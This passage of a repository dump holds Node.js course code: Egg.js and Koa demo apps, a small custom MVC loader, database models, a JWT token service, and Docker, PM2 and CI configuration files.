11 | }
12 | module.exports = UserService
--------------------------------------------------------------------------------
/node/07/egg/appveyor.yml:
--------------------------------------------------------------------------------
1 | environment:
2 | matrix:
3 | - nodejs_version: '10'
4 |
5 | install:
6 | - ps: Install-Product node $env:nodejs_version
7 | - npm i npminstall && node_modules\.bin\npminstall
8 |
9 | test_script:
10 | - node --version
11 | - npm --version
12 | - npm run test
13 |
14 | build: off
15 |
--------------------------------------------------------------------------------
/node/07/egg/config/config.default.js:
--------------------------------------------------------------------------------
1 | /* eslint valid-jsdoc: "off" */
2 |
3 | 'use strict';
4 |
5 | /**
6 | * @param {Egg.EggAppInfo} appInfo app info
7 | */
8 | module.exports = appInfo => {
9 | /**
10 | * built-in config
11 | * @type {Egg.EggAppConfig}
12 | **/
13 | const config = exports = {};
14 |
15 | // use for cookie sign key, should change to your own and keep security
16 | config.keys = appInfo.name + '_1566527611063_9390';
17 |
18 | // add your middleware config here
19 | config.middleware = [];
20 |
21 | // add your user config here
22 | const userConfig = {
23 | // myAppName: 'egg',
24 | sequelize: {
25 | dialect: "mysql",
26 | host: "127.0.0.1",
27 | port: 3306,
28 | username: "root",
29 | password: "example",
30 | database: "kaikeba"
31 | }
32 | };
33 |
34 | return {
35 | ...config,
36 | ...userConfig,
37 | };
38 | };
39 |
--------------------------------------------------------------------------------
/node/07/egg/config/plugin.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /** @type Egg.EggPlugin */
4 | module.exports = {
5 | // had enabled by egg
6 | // static: {
7 | // enable: true,
8 | // }
9 | sequelize: {
10 | enable: true,
11 | package: 'egg-sequelize',
12 | }
13 | };
14 |
--------------------------------------------------------------------------------
/node/07/egg/jsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "include": [
3 | "**/*"
4 | ]
5 | }
--------------------------------------------------------------------------------
/node/07/egg/test/app/controller/home.test.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const { app, assert } = require('egg-mock/bootstrap');
4 |
5 | describe('test/app/controller/home.test.js', () => {
6 | it('should assert', () => {
7 | const pkg = require('../../../package.json');
8 | assert(app.config.keys.startsWith(pkg.name));
9 |
10 | // const ctx = app.mockContext({});
11 | // yield ctx.service.xx();
12 | });
13 |
14 | it('should GET /', () => {
15 | return app.httpRequest()
16 | .get('/')
17 | .expect('hi, egg')
18 | .expect(200);
19 | });
20 | });
21 |
--------------------------------------------------------------------------------
/node/07/kgg/config/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | db: {
3 | dialect: 'mysql',
4 | host: 'localhost',
5 | database: 'kaikeba',
6 | username: 'root',
7 | password: 'example'
8 | },
9 | middleware: ['logger']
10 | }
--------------------------------------------------------------------------------
/node/07/kgg/controller/home.js:
--------------------------------------------------------------------------------
1 | module.exports = app => ({
2 | index: async ctx => {
3 | // ctx.body = '首页Ctrl'
4 | // const name = await app.$service.user.getName()
5 | // app.ctx.body = 'ctrl user' + name
6 | app.ctx.body = await app.$model.user.findAll()
7 | },
8 | detail: ctx => {
9 | app.ctx.body = '详细页面Ctrl'
10 | }
11 | })
--------------------------------------------------------------------------------
/node/07/kgg/index.js:
--------------------------------------------------------------------------------
1 | // const app = new (require('koa'))()
2 | // const {initRouter} = require('./kkb-loader')
3 | // app.use(initRouter().routes())
4 | // app.listen(3000)
5 |
6 | const kkb = require('./kkb')
7 | const app = new kkb()
8 | app.start(3000)
--------------------------------------------------------------------------------
/node/07/kgg/kkb.js:
--------------------------------------------------------------------------------
1 | const koa = require('koa')
2 | const { initRouter, initController,initService ,loadConfig,initSchedule} = require('./kkb-loader')
3 |
4 | class kkb {
5 | constructor(conf) {
6 |
7 | this.$app = new koa(conf)
8 |
9 | loadConfig(this)
10 |
11 | this.$service = initService()
12 |
13 | this.$ctrl = initController(this) // 加载ctrl
14 |
15 | this.$router = initRouter(this)
16 | this.$app.use(this.$router.routes())
17 |
18 | initSchedule()
19 | }
20 | start(port) {
21 | this.$app.listen(port, () => {
22 | console.log('服务器启动 端口:' + port)
23 | })
24 | }
25 | }
26 | module.exports = kkb
--------------------------------------------------------------------------------
/node/07/kgg/middleware/logger.js:
--------------------------------------------------------------------------------
1 | module.exports = async (ctx, next) => {
2 | console.log(ctx.method + " " + ctx.path);
3 | const start = new Date();
4 | await next();
5 | const duration = new Date() - start;
6 | console.log(
7 | ctx.method + " " + ctx.path + " " + ctx.status + " " + duration + "ms"
8 | );
9 | };
--------------------------------------------------------------------------------
/node/07/kgg/model/user.js:
--------------------------------------------------------------------------------
1 | const { STRING } = require("sequelize");
2 | module.exports = {
3 | schema: {
4 | name: STRING(30)
5 | },
6 | options: {
7 | timestamps: false
8 | }
9 | };
--------------------------------------------------------------------------------
/node/07/kgg/routes/index.js:
--------------------------------------------------------------------------------
1 | module.exports = app => ({
2 | // 'get /': async ctx => {
3 | // ctx.body = '首页'
4 | // },
5 | // 'get /detail': async ctx => {
6 | // ctx.body = '详细页面'
7 | // }
8 | 'get /': app.$ctrl.home.index,
9 | 'get /detail': app.$ctrl.home.detail
10 | })
--------------------------------------------------------------------------------
/node/07/kgg/routes/user.js:
--------------------------------------------------------------------------------
1 |
2 | module.exports = {
3 | // /user/
4 | // "get /": async ctx => {
5 | // ctx.body = "用户首页";
6 | // },
7 | // // /user/info
8 | // "get /info": ctx => {
9 | // ctx.body = "用户详情页面";
10 | // }
11 | "get /": async app => {
12 | const name = await app.$service.user.getName()
13 | app.ctx.body = "用户" + name;
14 | },
15 | // /user/info
16 | "get /info": app => {
17 | app.ctx.body = "用户年龄" + app.$service.user.getAge();
18 | }
19 | };
--------------------------------------------------------------------------------
/node/07/kgg/schedule/log.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | interval:'*/3 * * * * *',
3 | handler(){
4 | console.log('定时任务 嘿嘿 三秒执行一次'+ new Date())
5 | }
6 | }
--------------------------------------------------------------------------------
/node/07/kgg/schedule/user.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | interval:'30 * * * * *',
3 | handler(){
4 | console.log('定时任务 嘿嘿 每分钟第30秒执行一次'+ new Date())
5 | }
6 | }
--------------------------------------------------------------------------------
/node/07/kgg/service/user.js:
--------------------------------------------------------------------------------
1 | const delay = (data, tick) => new Promise(resolve => {
2 | setTimeout(() => {
3 | resolve(data)
4 | }, tick)
5 | })
6 |
7 | module.exports = {
8 | getName() {
9 | return delay('jerry', 1000)
10 | },
11 | getAge() {
12 | return 20
13 | }
14 | }
--------------------------------------------------------------------------------
/node/07/mvc/.autod.conf.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | module.exports = {
4 | write: true,
5 | prefix: '^',
6 | plugin: 'autod-egg',
7 | test: [
8 | 'test',
9 | 'benchmark',
10 | ],
11 | dep: [
12 | 'egg',
13 | 'egg-scripts',
14 | ],
15 | devdep: [
16 | 'egg-ci',
17 | 'egg-bin',
18 | 'egg-mock',
19 | 'autod',
20 | 'autod-egg',
21 | 'eslint',
22 | 'eslint-config-egg',
23 | ],
24 | exclude: [
25 | './test/fixtures',
26 | './dist',
27 | ],
28 | };
29 |
30 |
--------------------------------------------------------------------------------
/node/07/mvc/.eslintignore:
--------------------------------------------------------------------------------
1 | coverage
2 |
--------------------------------------------------------------------------------
/node/07/mvc/.eslintrc:
--------------------------------------------------------------------------------
1 | {
2 | "extends": "eslint-config-egg"
3 | }
4 |
--------------------------------------------------------------------------------
/node/07/mvc/.gitignore:
--------------------------------------------------------------------------------
1 | logs/
2 | npm-debug.log
3 | yarn-error.log
4 | node_modules/
5 | package-lock.json
6 | yarn.lock
7 | coverage/
8 | .idea/
9 | run/
10 | .DS_Store
11 | *.sw*
12 | *.un~
13 | typings/
14 | .nyc_output/
15 |
--------------------------------------------------------------------------------
/node/07/mvc/.travis.yml:
--------------------------------------------------------------------------------
1 | sudo: false
2 | language: node_js
3 | node_js:
4 | - '10'
5 | before_install:
6 | - npm i npminstall -g
7 | install:
8 | - npminstall
9 | script:
10 | - npm run ci
11 | after_script:
12 | - npminstall codecov && codecov
13 |
--------------------------------------------------------------------------------
/node/07/mvc/README.md:
--------------------------------------------------------------------------------
1 | # mvc
2 |
3 |
4 |
5 | ## QuickStart
6 |
7 |
8 |
9 | see [egg docs][egg] for more detail.
10 |
11 | ### Development
12 |
13 | ```bash
14 | $ npm i
15 | $ npm run dev
16 | $ open http://localhost:7001/
17 | ```
18 |
19 | ### Deploy
20 |
21 | ```bash
22 | $ npm start
23 | $ npm stop
24 | ```
25 |
26 | ### npm scripts
27 |
28 | - Use `npm run lint` to check code style.
29 | - Use `npm test` to run unit test.
30 | - Use `npm run autod` to auto detect dependencies upgrade, see [autod](https://www.npmjs.com/package/autod) for more detail.
31 |
32 |
33 | [egg]: https://eggjs.org
--------------------------------------------------------------------------------
/node/07/mvc/app/controller/mvc.js:
--------------------------------------------------------------------------------
1 | const Controller = require('egg').Controller;
2 |
3 | class TitleController extends Controller {
4 | async index() {
5 | let list = await this.service.title.getTitleList();
6 | await this.ctx.render('title', {
7 | list: list,
8 | })
9 | }
10 | async content() {
11 | let aid = this.ctx.query.aid;
12 | let content = await this.service.title.getContent(aid); await this.ctx.render('content', {
13 | content: content[0]
14 | })
15 | }
16 | }
17 |
18 | module.exports = TitleController;
19 |
--------------------------------------------------------------------------------
/node/07/mvc/app/extend/helper.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | formatDate(time) {
3 | var date = new Date(time * 1000);
4 | var YYYY = date.getFullYear();
5 | var MM = date.getMonth() + 1;
6 | var DD = date.getDate();
7 | var hh = date.getHours();
8 | var mm = date.getMinutes();
9 | var ss = date.getSeconds();
10 |
11 | MM = MM < 10 ? ('0' + MM) : MM;
12 | DD = DD < 10 ? ('0' + DD) : DD;
13 | hh = hh < 10 ? ('0' + hh) : hh;
14 | mm = mm < 10 ? ('0' + mm) : mm;
15 | ss = ss < 10 ? ('0' + ss) : ss;
16 |
17 | return YYYY + '-' + MM + '-' + DD + ' ' + hh + ':' + mm + ':' + ss;
18 | }
19 | }
--------------------------------------------------------------------------------
/node/07/mvc/app/router.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /**
4 | * @param {Egg.Application} app - egg application
5 | */
6 | module.exports = app => {
7 | const { router, controller } = app;
8 | router.get('/', controller.mvc.index);
9 | router.get('/content', controller.mvc.content);
10 | router.get('/origin/:api', controller.origin.index);
11 | };
12 |
--------------------------------------------------------------------------------
/node/07/mvc/app/view/content.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 | <%= content.title%>
11 |
12 | <%- content.content%>
13 |
14 |
15 |
--------------------------------------------------------------------------------
/node/07/mvc/app/view/title.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Document
7 |
8 |
9 | 新闻列表
10 |
17 |
18 |
--------------------------------------------------------------------------------
/node/07/mvc/appveyor.yml:
--------------------------------------------------------------------------------
1 | environment:
2 | matrix:
3 | - nodejs_version: '10'
4 |
5 | install:
6 | - ps: Install-Product node $env:nodejs_version
7 | - npm i npminstall && node_modules\.bin\npminstall
8 |
9 | test_script:
10 | - node --version
11 | - npm --version
12 | - npm run test
13 |
14 | build: off
15 |
--------------------------------------------------------------------------------
/node/07/mvc/config/config.default.js:
--------------------------------------------------------------------------------
1 | /* eslint valid-jsdoc: "off" */
2 |
3 | 'use strict';
4 |
5 | /**
6 | * @param {Egg.EggAppInfo} appInfo app info
7 | */
8 | module.exports = appInfo => {
9 | /**
10 | * built-in config
11 | * @type {Egg.EggAppConfig}
12 | **/
13 | const config = exports = {};
14 |
15 | // use for cookie sign key, should change to your own and keep security
16 | config.keys = appInfo.name + '_1575020533590_5873';
17 |
18 | // add your middleware config here
19 | config.middleware = [];
20 |
21 | config.api = 'http://www.phonegap100.com/';
22 |
23 | config.view = {
24 | mapping: {
25 | '.html': 'ejs' //'指定后缀':'指定模板引擎'
26 | }
27 | }
28 |
29 | // add your user config here
30 | const userConfig = {
31 | // myAppName: 'egg',
32 | };
33 |
34 | return {
35 | ...config,
36 | ...userConfig,
37 | };
38 | };
39 |
--------------------------------------------------------------------------------
/node/07/mvc/config/plugin.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /** @type Egg.EggPlugin */
4 | module.exports = {
5 | // had enabled by egg
6 | // static: {
7 | // enable: true,
8 | // }
9 |
10 | ejs: {
11 | enable: true,
12 | package: 'egg-view-ejs'
13 | }
14 |
15 |
16 | };
17 |
--------------------------------------------------------------------------------
/node/07/mvc/jsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "include": [
3 | "**/*"
4 | ]
5 | }
--------------------------------------------------------------------------------
/node/07/mvc/test/app/controller/home.test.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const { app, assert } = require('egg-mock/bootstrap');
4 |
5 | describe('test/app/controller/home.test.js', () => {
6 | it('should assert', () => {
7 | const pkg = require('../../../package.json');
8 | assert(app.config.keys.startsWith(pkg.name));
9 |
10 | // const ctx = app.mockContext({});
11 | // yield ctx.service.xx();
12 | });
13 |
14 | it('should GET /', () => {
15 | return app.httpRequest()
16 | .get('/')
17 | .expect('hi, egg')
18 | .expect(200);
19 | });
20 | });
21 |
--------------------------------------------------------------------------------
/node/08/egg-server/.autod.conf.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | module.exports = {
4 | write: true,
5 | prefix: '^',
6 | plugin: 'autod-egg',
7 | test: [
8 | 'test',
9 | 'benchmark',
10 | ],
11 | dep: [
12 | 'egg',
13 | 'egg-scripts',
14 | ],
15 | devdep: [
16 | 'egg-ci',
17 | 'egg-bin',
18 | 'egg-mock',
19 | 'autod',
20 | 'autod-egg',
21 | 'eslint',
22 | 'eslint-config-egg',
23 | ],
24 | exclude: [
25 | './test/fixtures',
26 | './dist',
27 | ],
28 | };
29 |
30 |
--------------------------------------------------------------------------------
/node/08/egg-server/.eslintignore:
--------------------------------------------------------------------------------
1 | coverage
2 |
--------------------------------------------------------------------------------
/node/08/egg-server/.eslintrc:
--------------------------------------------------------------------------------
1 | {
2 | "extends": "eslint-config-egg"
3 | }
4 |
--------------------------------------------------------------------------------
/node/08/egg-server/.gitignore:
--------------------------------------------------------------------------------
1 | logs/
2 | npm-debug.log
3 | yarn-error.log
4 | node_modules/
5 | package-lock.json
6 | yarn.lock
7 | coverage/
8 | .idea/
9 | run/
10 | .DS_Store
11 | *.sw*
12 | *.un~
13 | typings/
14 | .nyc_output/
15 |
--------------------------------------------------------------------------------
/node/08/egg-server/.travis.yml:
--------------------------------------------------------------------------------
1 | sudo: false
2 | language: node_js
3 | node_js:
4 | - '10'
5 | install:
6 | - npm i npminstall && npminstall
7 | script:
8 | - npm run ci
9 | after_script:
10 | - npminstall codecov && codecov
11 |
--------------------------------------------------------------------------------
/node/08/egg-server/README.md:
--------------------------------------------------------------------------------
1 | # server2
2 |
3 |
4 |
5 | ## QuickStart
6 |
7 |
8 |
9 | see [egg docs][egg] for more detail.
10 |
11 | ### Development
12 |
13 | ```bash
14 | $ npm i
15 | $ npm run dev
16 | $ open http://localhost:7001/
17 | ```
18 |
19 | ### Deploy
20 |
21 | ```bash
22 | $ npm start
23 | $ npm stop
24 | ```
25 |
26 | ### npm scripts
27 |
28 | - Use `npm run lint` to check code style.
29 | - Use `npm test` to run unit test.
30 | - Use `npm run autod` to auto detect dependencies upgrade, see [autod](https://www.npmjs.com/package/autod) for more detail.
31 |
32 |
33 | [egg]: https://eggjs.org
--------------------------------------------------------------------------------
/node/08/egg-server/app/contract/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | baseRequest:{
3 | id: { type: 'string', description: 'id 唯一键' ,required:true,example:'1'},
4 |
5 | },
6 | baseResponse: {
7 | code: { type: 'integer', required: true, example: 0 },
8 | data:{type: 'string',example: '请求成功' },
9 | errorMessage: { type: 'string', example: '请求成功' },
10 | },
11 | };
--------------------------------------------------------------------------------
/node/08/egg-server/app/contract/user.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | createUserRequest: {
3 | mobile: { type: 'string', required: true, description: '手机号', example: '18801731528', format: /^1[34578]\d{9}$/, },
4 | password: { type: 'string', required: true, description: '密码', example: '111111', },
5 | realName: { type: 'string', required: true, description: '姓名', example: 'Tom' },
6 | },
7 | }
--------------------------------------------------------------------------------
/node/08/egg-server/app/contract/userAccess.js:
--------------------------------------------------------------------------------
1 | // app/contract/userAccess.js
2 | module.exports = {
3 | loginRequest: {
4 | mobile: { type: 'string', required: true, description: '手机号', example: '18801731528', format: /^1[34578]\d{9}$/, },
5 | password: { type: 'string', required: true, description: '密码', example: '111111', },
6 | },
7 | }
--------------------------------------------------------------------------------
/node/08/egg-server/app/controller/home.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Controller = require('egg').Controller;
4 |
5 | class HomeController extends Controller {
6 | async index() {
7 | const { ctx } = this;
8 | ctx.body = 'hi, egg';
9 | }
10 | }
11 |
12 | module.exports = HomeController;
13 |
--------------------------------------------------------------------------------
/node/08/egg-server/app/extend/helper.js:
--------------------------------------------------------------------------------
1 | const moment = require('moment')
2 |
3 | // 处理成功响应
4 | exports.success = ({ ctx, res = null, msg = '处理成功' }) => {
5 | ctx.body = {
6 | code: 0,
7 | data: res,
8 | msg
9 | }
10 | ctx.status = 200
11 | }
12 |
13 | // 格式化时间
14 | exports.formatTime = time => moment(time).format('YYYY-MM-DD HH:mm:ss')
--------------------------------------------------------------------------------
/node/08/egg-server/app/middleware/error_handler.js:
--------------------------------------------------------------------------------
1 | // /middleware/error_handler.js
2 | 'use strict'
3 | module.exports = (option, app) => {
4 | return async function (ctx, next) {
5 | try {
6 | await next()
7 | } catch (err) {
8 | // 所有的异常都在 app 上触发一个 error 事件,框架会记录一条错误日志
9 | app.emit('error', err, this)
10 | const status = err.status || 500
11 | // 生产环境时 500 错误的详细错误内容不返回给客户端,因为可能包含敏感信息
12 | const error = status === 500 && app.config.env === 'prod' ?
13 | 'Internal Server Error' :
14 | err.message
15 | // 从 error 对象上读出各个属性,设置到响应中
16 | ctx.body = {
17 | code: status, // 服务端自身的处理逻辑错误(包含框架错误500 及 自定义业务逻辑错误533开始 ) 客户端请求参数导致的错误(4xx开始),设置不同的状态码
18 | error: error
19 | }
20 | if (status === 422) {
21 | ctx.body.detail = err.errors
22 | }
23 | ctx.status = 200
24 | }
25 | }
26 | }
--------------------------------------------------------------------------------
/node/08/egg-server/app/model/user.js:
--------------------------------------------------------------------------------
1 | module.exports = app => {
2 | const mongoose = app.mongoose
3 | const UserSchema = new mongoose.Schema({
4 | mobile: { type: String, unique: true, required: true },
5 | password: { type: String, required: true },
6 | realName: { type: String, required: true },
7 | avatar: { type: String, default: 'https://1.gravatar.com/avatar/a3e54af3cb6e157e496ae430aed4f4a3?s=96&d=mm' },
8 | extra: { type: mongoose.Schema.Types.Mixed },
9 | createdAt: { type: Date, default: Date.now }
10 | })
11 | return mongoose.model('User', UserSchema)
12 | }
13 |
14 |
--------------------------------------------------------------------------------
/node/08/egg-server/app/public/uploads/622976.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/08/egg-server/app/public/uploads/622976.png
--------------------------------------------------------------------------------
/node/08/egg-server/app/router.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /**
4 | * @param {Egg.Application} app - egg application
5 | */
6 | module.exports = app => {
7 | const { router, controller } = app;
8 | router.get('/', controller.home.index);
9 | };
10 |
--------------------------------------------------------------------------------
/node/08/egg-server/app/service/actionToken.js:
--------------------------------------------------------------------------------
1 | const { Service } = require('egg')
2 |
3 | class ActionTokenService extends Service {
4 | async apply(_id) {
5 | const { ctx } = this
6 | return ctx.app.jwt.sign({
7 | data: {
8 | _id: _id
9 | },
10 | exp: Math.floor(Date.now() / 1000 + (60 * 60 * 7))
11 | }, ctx.app.config.jwt.secret)
12 | }
13 |
14 | }
15 | module.exports = ActionTokenService
--------------------------------------------------------------------------------
/node/08/egg-server/appveyor.yml:
--------------------------------------------------------------------------------
1 | environment:
2 | matrix:
3 | - nodejs_version: '10'
4 |
5 | install:
6 | - ps: Install-Product node $env:nodejs_version
7 | - npm i npminstall && node_modules\.bin\npminstall
8 |
9 | test_script:
10 | - node --version
11 | - npm --version
12 | - npm run test
13 |
14 | build: off
15 |
--------------------------------------------------------------------------------
/node/08/egg-server/config/plugin.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /** @type Egg.EggPlugin */
4 | module.exports = {
5 | // had enabled by egg
6 | // static: {
7 | // enable: true,
8 | // }
9 |
10 | swaggerdoc: {
11 | enable: true,
12 | package: 'egg-swagger-doc-feat',
13 | },
14 |
15 | validate: {
16 | enable: true,
17 | package: 'egg-validate'
18 | },
19 | mongoose : {
20 | enable: true,
21 | package: 'egg-mongoose',
22 | },
23 | bcrypt : {
24 | enable: true,
25 | package: 'egg-bcrypt'
26 | },
27 | jwt:{
28 | enable:true,
29 | package:'egg-jwt'
30 | }
31 | };
32 |
--------------------------------------------------------------------------------
/node/08/egg-server/jsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "include": [
3 | "**/*"
4 | ]
5 | }
--------------------------------------------------------------------------------
/node/08/egg-server/test/app/controller/home.test.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const { app, assert } = require('egg-mock/bootstrap');
4 |
5 | describe('test/app/controller/home.test.js', () => {
6 | it('should assert', () => {
7 | const pkg = require('../../../package.json');
8 | assert(app.config.keys.startsWith(pkg.name));
9 |
10 | // const ctx = app.mockContext({});
11 | // yield ctx.service.xx();
12 | });
13 |
14 | it('should GET /', () => {
15 | return app.httpRequest()
16 | .get('/')
17 | .expect('hi, egg')
18 | .expect(200);
19 | });
20 | });
21 |
--------------------------------------------------------------------------------
/node/09/ts-decorate/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "ts-kkb",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "ts-node-dev ./src/index.ts -P tsconfig.json --no-cache",
8 | "build": "tsc -P tsconfig.json && node ./dist/index.js",
9 | "tslint": "tslint --fix -p tsconfig.json"
10 | },
11 | "keywords": [],
12 | "author": "",
13 | "license": "ISC",
14 | "devDependencies": {
15 | "ts-node-dev": "^1.0.0-pre.40",
16 | "tslint": "^5.18.0",
17 | "typescript": "^3.5.2"
18 | },
19 | "dependencies": {
20 | "koa": "^2.7.0",
21 | "koa-body": "^4.1.0",
22 | "koa-static": "^5.0.0",
23 | "koa-xtime": "^1.0.0",
24 | "mysql2": "^1.6.5",
25 | "reflect-metadata": "^0.1.13",
26 | "sequelize": "^5.8.12",
27 | "sequelize-typescript": "^0.6.11"
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/node/09/ts-decorate/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "outDir": "./dist",
4 | "target": "es2017",
5 | "module": "commonjs",
6 | "sourceMap": true,
7 | "moduleResolution": "node",
8 | "experimentalDecorators": true,
9 | "allowSyntheticDefaultImports": true,
10 | "lib": ["es2015"],
11 | "typeRoots": ["./node_modules/@types"],
12 | "types": ["koa-body"]
13 | },
14 | "include": ["src/**/*"]
15 | }
16 |
--------------------------------------------------------------------------------
/node/09/ts-server/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "ts-server2",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "ts-node-dev ./src/index.ts -P tsconfig.json --no-cache",
8 | "build": "tsc -P tsconfig.json && node ./dist/index.js",
9 | "tslint": "tslint --fix -p tsconfig.json"
10 | },
11 | "keywords": [],
12 | "author": "",
13 | "license": "ISC",
14 | "devDependencies": {
15 | "ts-node-dev": "^1.0.0-pre.40",
16 | "tslint": "^5.18.0",
17 | "typescript": "^3.5.2",
18 | "@types/sequelize": "^4.28.9"
19 | },
20 | "dependencies": {
21 | "koa": "^2.7.0",
22 | "koa-body": "^4.1.0",
23 | "koa-router": "^7.4.0",
24 | "koa-static": "^5.0.0",
25 | "koa-xtime": "^1.0.0",
26 | "mysql2": "^1.6.5",
27 | "parameter": "^3.6.0",
28 | "reflect-metadata": "^0.1.13",
29 | "sequelize": "^5.8.12",
30 | "sequelize-typescript": "^0.6.11"
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/node/09/ts-server/src/model/user.ts:
--------------------------------------------------------------------------------
1 | import { Table, Column, Model, DataType } from 'sequelize-typescript';
2 |
3 | @Table({modelName: 'users'})
4 | export default class User extends Model {
5 | @Column({
6 | primaryKey: true,
7 | autoIncrement: true,
8 | type: DataType.INTEGER,
9 | })
10 | public id: number;
11 |
12 | @Column(DataType.CHAR)
13 | public name: string;
14 | }
--------------------------------------------------------------------------------
/node/09/ts-server/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "outDir": "./dist",
4 | "target": "es2017",
5 | "module": "commonjs",
6 | "sourceMap": true,
7 | "moduleResolution": "node",
8 | "experimentalDecorators": true,
9 | "allowSyntheticDefaultImports": true,
10 | "lib": ["es2015"],
11 | "typeRoots": ["./node_modules/@types"],
12 | },
13 | "include": ["src/**/*"]
14 | }
--------------------------------------------------------------------------------
/node/10/cluster/app.js:
--------------------------------------------------------------------------------
1 | const http = require('http')
2 | const server = http.createServer((request, response) => {
3 | Math.random() > 0.5 ? aa() : '2'
4 | response.end('Hello ')
5 | })
6 |
7 | if (!module.parent) {
8 | server.listen(3000);
9 | console.log('app started at port 3000...');
10 | } else {
11 | module.exports = server
12 | }
--------------------------------------------------------------------------------
/node/10/cluster/process.yml:
--------------------------------------------------------------------------------
1 | apps:
2 | - script : app.js
3 | instances: 2
4 | watch : true
5 | env :
6 | NODE_ENV: production
--------------------------------------------------------------------------------
/node/10/cluster/test.js:
--------------------------------------------------------------------------------
1 | var request = require('request');
2 | setInterval(() => {
3 | request('http://localhost:3000', function (error, response, body) {
4 | console.log('body:', body); // Print the HTML for the Google homepage.
5 | })
6 | }, 1000
7 | )
8 |
--------------------------------------------------------------------------------
/node/10/docker/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | mongo:
4 | image: mongo
5 | restart: always
6 | ports:
7 | - 27017:27017
8 | mongo-express:
9 | image: mongo-express
10 | restart: always
11 | ports:
12 | - 8081:8081
--------------------------------------------------------------------------------
/node/10/docker/nginx/Dockerfile:
--------------------------------------------------------------------------------
1 | #Dockerfile
2 | FROM nginx:latest
3 | RUN echo 'Hello, Kaikeba!
' > /usr/share/nginx/html/index.html
--------------------------------------------------------------------------------
/node/10/docker/nginx/www/index.html:
--------------------------------------------------------------------------------
1 | hello docker!!
2 |
--------------------------------------------------------------------------------
/node/10/docker/node/Dockerfile:
--------------------------------------------------------------------------------
1 | #Dockerfile
2 | #制定node镜像的版本
3 | FROM node:10-alpine
4 | #移动当前目录下面的文件到app目录下
5 | ADD . /app/
6 | #进入到app目录下面,类似cd
7 | WORKDIR /app
8 | #安装依赖
9 | RUN npm install
10 | #对外暴露的端口
11 | EXPOSE 3000
12 | #程序启动脚本
13 | CMD ["node", "app.js"]
--------------------------------------------------------------------------------
/node/10/docker/node/app.js:
--------------------------------------------------------------------------------
1 | const Koa = require('koa')
2 | const app = new Koa()
3 | app.use(ctx => {
4 | Math.random() > 0.8 ? abc() : ''
5 | ctx.body = 'Hello Docker'
6 | })
7 | app.listen(3000, () => {
8 | console.log('app started at http://localhost:3000/')
9 | })
--------------------------------------------------------------------------------
/node/10/docker/node/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "myappp",
3 | "version": "1.0.0",
4 | "main": "app.js",
5 | "scripts": {
6 | "test": "echo \"Error: no test specified\" && exit 1"
7 | },
8 | "keywords": [],
9 | "author": "",
10 | "license": "ISC",
11 | "description": "myappp",
12 | "dependencies": {
13 | "koa": "^2.7.0"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/node/10/docker/pm2/Dockerfile:
--------------------------------------------------------------------------------
1 | # Dockerfile
2 | FROM keymetrics/pm2:latest-alpine
3 | WORKDIR /usr/src/app
4 | ADD . /usr/src/app
5 | RUN npm config set registry https://registry.npm.taobao.org/ && \
6 | npm i
7 | EXPOSE 3000
8 | #pm2在docker中使用命令为pm2-docker
9 | CMD ["pm2-runtime", "start", "process.yml"]
--------------------------------------------------------------------------------
/node/10/docker/pm2/app.js:
--------------------------------------------------------------------------------
1 | const Koa = require('koa')
2 | const app = new Koa()
3 | app.use(ctx => {
4 | Math.random() > 0.8 ? abc() : ''
5 | ctx.body = 'Hello Docker'
6 | })
7 | app.listen(3000, () => {
8 | console.log('app started at http://localhost:3000/')
9 | })
--------------------------------------------------------------------------------
/node/10/docker/pm2/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "myappp",
3 | "version": "1.0.0",
4 | "main": "app.js",
5 | "scripts": {
6 | "test": "echo \"Error: no test specified\" && exit 1"
7 | },
8 | "keywords": [],
9 | "author": "",
10 | "license": "ISC",
11 | "description": "myappp",
12 | "dependencies": {
13 | "koa": "^2.7.0"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/node/10/docker/pm2/process.yml:
--------------------------------------------------------------------------------
1 | apps:
2 | - script : app.js
3 | instances: 2
4 | watch : true
5 | env :
6 | NODE_ENV: production
--------------------------------------------------------------------------------
/node/10/fork/app.js:
--------------------------------------------------------------------------------
1 | const Koa = require('koa');
2 |
3 | // 创建一个Koa对象表示web app本身:
4 | const app = new Koa();
5 |
6 | // 对于任何请求,app将调用该异步函数处理请求:
7 | app.use(async (ctx, next) => {
